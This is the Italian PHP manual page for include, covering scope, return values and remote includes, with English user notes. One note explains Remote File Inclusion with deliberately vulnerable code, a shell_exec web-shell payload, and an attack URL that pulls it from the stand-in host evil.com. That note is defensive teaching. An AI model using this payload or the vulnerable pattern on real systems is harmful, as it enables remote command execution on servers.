PHP 8.6.0 Released!

include

(PHP 4, PHP 5, PHP 7, PHP 8)

L'espressione include include e valuta il file specificato.

La documentazione seguente si applica anche a require.

I file vengono inclusi in base al percorso indicato o, se non viene indicato, in base all'include_path specificato. Se il file non viene trovato nell'include_path, include cercherà infine nella directory dello script chiamante e nella directory di lavoro corrente prima di fallire. Il costrutto include emetterà un E_WARNING se non riesce a trovare un file; questo è un comportamento diverso da require, che emetterà un E_ERROR.

Si noti che sia include che require generano ulteriori E_WARNING, se il file non può essere acceduto, prima di generare il E_WARNING o E_ERROR finale, rispettivamente.

Se viene definito un percorso — sia assoluto (che inizia con una lettera di unità o \ su Windows, o / su sistemi Unix/Linux) che relativo alla directory corrente (che inizia con . o ..) — l'include_path verrà ignorato completamente. Ad esempio, se un nome di file inizia con ../, il parser cercherà nella directory genitore per trovare il file richiesto.

Per maggiori informazioni su come PHP gestisce l'inclusione dei file e il percorso di inclusione, consultare la documentazione per include_path.

Quando un file viene incluso, il codice che contiene eredita lo scope delle variabili della riga in cui si verifica l'inclusione. Tutte le variabili disponibili a quella riga nel file chiamante saranno disponibili all'interno del file chiamato, da quel punto in poi. Tuttavia, tutte le funzioni e le classi definite nel file incluso hanno scope globale.

Example #1 Esempio base di include

vars.php
<?php

$color = 'green';
$fruit = 'apple';

?>

test.php
<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo "A $color $fruit"; // A green apple

?>

Se l'inclusione avviene all'interno di una funzione nel file chiamante, tutto il codice contenuto nel file chiamato si comporterà come se fosse stato definito all'interno di quella funzione. Quindi, seguirà lo scope delle variabili di quella funzione. Un'eccezione a questa regola sono le costanti magiche che vengono valutate dal parser prima che avvenga l'inclusione.

Example #2 Inclusione all'interno di funzioni

<?php

function foo()
{
    global $color;

    include 'vars.php';

    echo "A $color $fruit";
}

/* vars.php è nello scope di foo() quindi     *
* $fruit NON è disponibile al di fuori di    *
* questo scope.  $color lo è perché è stato  *
* dichiarato come global.                    */

foo();                    // A green apple
echo "A $color $fruit";   // A green

?>

Quando un file viene incluso, il parsing esce dalla modalità PHP ed entra in modalità HTML all'inizio del file di destinazione, e riprende nuovamente alla fine. Per questo motivo, qualsiasi codice all'interno del file di destinazione che debba essere eseguito come codice PHP deve essere racchiuso tra tag PHP di apertura e chiusura validi.

Se gli "URL include wrapper" sono abilitati in PHP, è possibile specificare il file da includere usando un URL (tramite HTTP o un altro wrapper supportato - consultare Protocolli e Wrapper supportati per un elenco dei protocolli) invece di un percorso locale. Se il server di destinazione interpreta il file di destinazione come codice PHP, è possibile passare variabili al file incluso usando una stringa di richiesta URL come quella utilizzata con HTTP GET. Questo non è esattamente la stessa cosa che includere il file e fargli ereditare lo scope delle variabili del file genitore; lo script viene effettivamente eseguito sul server remoto e il risultato viene poi incluso nello script locale.

Example #3 include tramite HTTP

<?php

/* Questo esempio presuppone che www.example.com sia configurato per analizzare i file .php
* e non i file .txt. Inoltre, 'Funziona' qui significa che le variabili
* $foo e $bar sono disponibili all'interno del file incluso. */

// Non funzionerà; file.txt non viene gestito da www.example.com come PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Non funzionerà; cerca un file chiamato 'file.php?foo=1&bar=2' nel
// filesystem locale.
include 'file.php?foo=1&bar=2';

// Funziona.
include 'http://www.example.com/file.php?foo=1&bar=2';
?>

Avviso

Avviso di sicurezza

Il file remoto potrebbe essere elaborato sul server remoto (a seconda dell'estensione del file e del fatto che il server remoto esegua PHP o meno) ma deve comunque produrre uno script PHP valido perché verrà elaborato sul server locale. Se il file del server remoto deve essere elaborato là e fornire solo l'output, readfile() è una funzione molto più adatta da utilizzare. Altrimenti, è necessario prestare particolare attenzione per proteggere lo script remoto affinché produca un codice valido e desiderato.

Consultare anche File remoti, fopen() e file() per informazioni correlate.

Gestione dei valori di ritorno: include restituisce FALSE in caso di fallimento e genera un avviso. Le inclusioni riuscite, a meno che il valore non venga sovrascritto dal file incluso, restituiscono 1. È possibile eseguire un'istruzione return all'interno di un file incluso per terminare l'elaborazione in quel file e tornare allo script che lo ha chiamato. Inoltre, è possibile restituire valori dai file inclusi. È possibile ottenere il valore della chiamata include come per una funzione normale. Questo non è, tuttavia, possibile quando si includono file remoti a meno che l'output del file remoto abbia tag PHP di apertura e chiusura validi (come con qualsiasi file locale). È possibile dichiarare le variabili necessarie all'interno di quei tag e saranno introdotte nel punto in cui il file è stato incluso.

Poiché include è un costrutto speciale del linguaggio, le parentesi non sono necessarie attorno al suo argomento. Prestare attenzione quando si confronta il valore di ritorno.

Example #4 Confronto del valore di ritorno di include

<?php
// non funzionerà, valutato come include(('vars.php') == TRUE), cioè include('1')
if (include('vars.php') == TRUE) {
    echo 'OK';
}

// funziona
if ((include 'vars.php') == TRUE) {
    echo 'OK';
}
?>

Example #5 include e l'istruzione return

return.php
<?php

$var = 'PHP';

return $var;

?>

noreturn.php
<?php

$var = 'PHP';

?>

testreturns.php
<?php

$foo = include 'return.php';

echo $foo; // stampa 'PHP'

$bar = include 'noreturn.php';

echo $bar; // stampa 1

?>

$bar ha il valore 1 perché l'inclusione è riuscita. Notare la differenza tra gli esempi precedenti. Il primo usa return all'interno del file incluso mentre l'altro no. Se il file non può essere incluso, viene restituito false e viene emesso un E_WARNING.

Se ci sono funzioni definite nel file incluso, possono essere utilizzate nel file principale indipendentemente dal fatto che siano prima di return o dopo. Se il file viene incluso due volte, PHP genererà un errore fatale perché le funzioni erano già state dichiarate. Si raccomanda di usare include_once invece di verificare se il file è già stato incluso e restituire condizionalmente un valore all'interno del file incluso.

Un altro modo per "includere" un file PHP in una variabile è catturare l'output usando le Funzioni di Controllo dell'output con include. Ad esempio:

Example #6 Uso del buffering dell'output per includere un file PHP in una stringa

<?php
$string = get_include_contents('somefile.php');

function get_include_contents($filename) {
    if (is_file($filename)) {
        ob_start();
        include $filename;
        return ob_get_clean();
    }
    return false;
}

?>

Per includere automaticamente file all'interno degli script, consultare anche le opzioni di configurazione auto_prepend_file e auto_append_file in php.ini.

Nota:

Poiché questo è un costrutto del linguaggio e non una funzione, non può essere chiamato con le variabili funzione

Vedere anche require, require_once, include_once, get_included_files(), readfile(), virtual() e include_path.

+add a note

User Contributed Notes 14 notes

up
152
snowyurik at gmail dot com
18 years ago
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
up
63
Rash
11 years ago
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php

# index.php
define('what', 'ever');
include 'includeFile.php';

# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php

# index.php (in document root (/usr/share/nginx/html))

include __DIR__ . '/../src/includeFile.php';

?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
up
36
John Carty
10 years ago
Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.
up
40
Anon
14 years ago
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
up
12
Wade.
18 years ago
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.
up
6
jbezorg at gmail dot com
8 years ago
Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
up
9
error17191 at gmail dot com
11 years ago
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?php

echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
up
11
Rick Garcia
18 years ago
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
up
7
hyponiq at gmail dot com
17 years ago
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot = null;

if (isset($_SERVER['DOCUMENT_ROOT'])) {
    $documentRoot = $_SERVER['DOCUMENT_ROOT'];
    
    if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
        if (strstr($documentRoot, '/')) {
            $documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (strstr($documentRoot, '\\')) {
            $documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }
    
    if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
        $documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
        $documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
    }
}
else {
    /**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     * 
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     * 
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
    $directories = array(
        'Includes'
    );
    
    if (defined('__DIR__')) {
        $currentDirectory = __DIR__;
    }
    else {
        $currentDirectory = dirname(__FILE__);
    }
    
    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
    $currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
    
    foreach ($directories as $directory) {
        $currentDirectory = str_replace(
            DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
            DIRECTORY_SEPARATOR,
            $currentDirectory
        );
    }
    
    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
up
4
Ray.Paseur often uses Gmail
12 years ago
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR.  If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows.  (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php 
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);
up
2
ayon at hyurl dot com
9 years ago
It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo file_get_contents("something.zip#script.php");
?>
Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.
up
2
jab_creations at yahoo dot com
1 month ago
For the newbies: include() and include_once() are basically eval() as far as you're concerned. Look, I get it, JavaScript is the cousin you like but unbeknownst to you, robs the same 7-11, again, two hours later. Keep JavaScript's bad habits away from PHP as I have yet to find a reason to validate use of eval() on a server! Use an LLM if you feel absolutely stuck or go to bed! Tired and busy are never legitimate excuses for creating security holes for Little Bobby Tables.

So:

1. "How do I include without using include()?!"
Simple, that is what the file_get_contents() function is for:

https://www.php.net/file_get_contents

<?php
//Obituary
$xml = file_get_contents($path.'shared/lulz.php');
//Do it for them.
?>

In short it treats the whatever you get as a string (or false, read the frigin manual!), regardless of what string it finds. Just like include() you should always be using absolute paths.

2. Use absolute paths:
<?php
//Root public directory $path (example: example.com/index.php):
$path = realpath(__DIR__).'/';
include($path.'example/test.php');
$xml = file_get_contents($path.'shared/final_final_final_final_maybe_please_dear_gods_make_it_stop_final_final.php');

//Relative directory $path (example: example.com/scripts/index.php):
$path = explode('scripts', __FILE__)[0];
$xml = file_get_contents($path.'shared/the_left_and_right_are_attached_to_the_same_bird_of_distraction.php');
include($path.'example/test.php');
?>

That will harden your application if a hacker finds a way in but don't let them get to that point, obviously.

3. Just like with eval(), if include_once() was the answer, you're not doing it right. If it doesn't make sense where you're at now keep working on your personal XP to get there and (on the correct/dedicated path) it'll make sense eventually. Good luck!
up
2
Chris Bell
17 years ago
A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
up
-2
anonphpuser
4 years ago
In the Example #2 Including within functions, the last two comments should be reversed I believe.
To Top